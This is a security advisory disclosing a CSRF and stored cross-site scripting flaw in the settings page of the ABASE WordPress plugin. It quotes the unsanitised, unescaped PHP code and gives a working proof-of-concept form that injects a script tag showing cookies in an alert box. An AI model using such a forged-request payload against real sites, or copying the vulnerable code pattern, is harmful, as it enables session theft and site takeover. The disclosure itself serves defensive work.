30 Jan

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in ABASE

We recently found that the ABASE plugin contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages, /wp-admin/options-general.php?page=abase.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /abase_plugin_options.php starting at line 31 in version 2.6, settings are saved and there is no sanitization done. For example, the file File Upload Directory setting is saved with this code:

$dbfiles = $_POST['bus311mtd_dbfiles'];
update_option('bus311mtd_dbfiles', $dbfiles);

When the values are outputted on the page through the same file they were not escaped. For example, for the File Upload Directory setting is echo’d on line 246:

<td colspan=3>http://<?php echo $_SERVER['HTTP_HOST']; ?>/<input type="text" name="bus311mtd_dbfiles<?php echo $dbn;?>" value="<?php echo $dfiles; ?>" <?php if($dfiles==''){echo 'placeholder="'.$bus311mtd_default_file_upload_directory.'"';};?> size="20">/&lt;table_name&gt;/&lt;column_name&gt;/&lt;primary_index&gt;/&lt;file_name&gt;</td>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=abase, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/options-general.php?page=abase" method="POST">
<input type="hidden" name="bus311mtd_hidden" value="Y" />
<input type="hidden" name="bus311mtd_show" value="1" />
<input type="hidden" name="bus311mtd_dbfiles" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />

The plugin’s website is no longer accessible, so we couldn’t contact the plugin’s developer and we are notifying the Plugin Directory of our disclosure.


  • January 30, 2017 – WordPress.org Plugin Directory notified.
  • January 30, 2017- Plugin removed from WordPress.org Plugin Directory.

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